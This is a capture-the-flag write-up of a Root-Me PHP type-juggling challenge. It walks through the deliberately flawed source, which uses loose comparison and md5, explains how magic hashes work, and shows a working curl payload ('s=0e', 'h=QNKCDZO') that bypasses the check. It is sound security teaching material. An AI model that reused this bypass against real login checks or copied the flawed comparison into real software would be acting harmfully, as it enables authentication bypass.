Description
30 Points Link
Another PHP type juggling
Statement
Find a way to get the flag.
No bruteforce needed.
Challenge
In this challenge we are giving a web server with php in the backend and an nginx not vulnerable server with 2 input fields one with a seed and the other is a hash.
We are also giving the source code which is displayed below :
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<html>
<body>
<form action="index.php" class="authform" method="post" accept-charset="utf-8">
<fieldset>
<legend>Unbreakable Random</legend>
<input type="text" id="s" name="s" value="" placeholder="seed" />
<input type="text" id="h" name="h" value="" placeholder="hash" />
<input type="submit" name="submit" value="Check" />
<div class="return-value" style="padding: 10px 0"> </div>
</fieldset>
</form>
<?php
function gen_secured_random() { // cause random is the way
$a = rand(1337,2600)*42;
$b = rand(1879,1955)*42;
$a < $b ? $a ^= $b ^= $a ^= $b : $a = $b;
return $a+$b;
}
function secured_hash_function($plain) { // cause md5 is the best hash ever
$secured_plain = sanitize_user_input($plain);
return md5($secured_plain);
}
function sanitize_user_input($input) { // cause someone told me to never trust user input
$re = '/[^a-zA-Z0-9]/';
$secured_input = preg_replace($re, "", $input);
return $secured_input;
}
if (isset($_GET['source'])) {
show_source(__FILE__);
die();
}
require_once "secret.php";
if (isset($_POST['s']) && isset($_POST['h'])) {
$s = sanitize_user_input($_POST['s']);
$h = secured_hash_function($_POST['h']);
$r = gen_secured_random();
if($s != false && $h != false) {
if($s.$r == $h) {
print "Well done! Here is your flag: ".$flag;
}
else {
print "Fail...";
}
}
else {
print "<p>Hum ...</p>";
}
}
?>
<p><em><a href="index.php?source">source code</a></em></p>
</body>
</html>
First thing i noticed was the loose comparison on line 46 and line 47.
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if($s != false && $h != false) {
if($s.$r == $h) {
and as the challenge describe, this is our entry point.
Understanding the code
Let’s take a look at what this code does.
First let’s check the functions provided with the source code.
First Function
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function gen_secured_random() { // cause random is the way
$a = rand(1337,2600)*42;
$b = rand(1879,1955)*42;
$a < $b ? $a ^= $b ^= $a ^= $b : $a = $b;
return $a+$b;
}
What this function does is generate 2 random $a and $b and then check if $a is greater than $b.
If so it XOR with the following statement $a ^= $b ^= $a ^= $b, If not it stores $b in $a and the return the result of $a+$b.
The result this function generate is always a positive integer, This will be helpfull soon.
Second Function
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function sanitize_user_input($input) { // cause someone told me to never trust user input
$re = '/[^a-zA-Z0-9]/';
$secured_input = preg_replace($re, "", $input);
return $secured_input;
}
This function as it’s name state sanitizes user input.
It replaces everything with isn’t alphanumeric with blank and returns the new string as the result.
Third Function
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function secured_hash_function($plain) { // cause md5 is the best hash ever
$secured_plain = sanitize_user_input($plain);
return md5($secured_plain);
}
What this function does is first call the sanitize_user_input function stores the result in $secured_plain and then returns the md5($secured_plain) value as a string.
Exploitation
We should first understand how php loose comparison works, Here is a link for you PHPMagicTricks-TypeJuggling.pdf.
We should also note that we will be using PHP magic Hashes, the reason for that is that PHP evaluate strings which begins with Xe as a power integer where X is an integer.
So for example :
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$a = 0e1234;
$b = 0e77889;
echo $a == $b;
will be evaluated to TRUE since 0^x is always 0.
Another this we should put in our minds is
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if($s != false && $h != false) {
if($s.$r == $h) {
This means we should provide as $s != false which means $s can’t be 0.
a simple bypass for this is using 0e which will be != 0 and evaluate $s != false to TRUE.
And sinse $r will always evalualte to a positive integer the result of $s.$r will be something like 0e512576 == 0.
Now all we have to do is provide an alphanumeric string wich the md5 of will evalute to 0.
These strings are called magic strings.
For that i used this Github Repo.
Payload
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$ curl http://challenge01.root-me.org/web-serveur/ch55/index.php -d "s=0e&h=QNKCDZO&submit=Check"
<html>
<body><link rel='stylesheet' property='stylesheet' id='s' type='text/css' href='/template/s.css' media='all' /><iframe id='iframe' src='https://www.root-me.org/?page=externe_header'></iframe>
<form action="index.php" class="authform" method="post" accept-charset="utf-8">
<fieldset>
<legend>Unbreakable Random</legend>
<input type="text" id="s" name="s" value="" placeholder="seed" />
<input type="text" id="h" name="h" value="" placeholder="hash" />
<input type="submit" name="submit" value="Check" />
<div class="return-value" style="padding: 10px 0"> </div>
</fieldset>
</form>
Well done! Here is your flag: **FLAG**<p><em><a href="index.php?source">source code</a></em></p>
</body>
</html>
Flag
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$ Flag = Go_Get_It_Your_Self -_- .
If you have any questions, concerns or something to add, please don’t hesitate to write it down.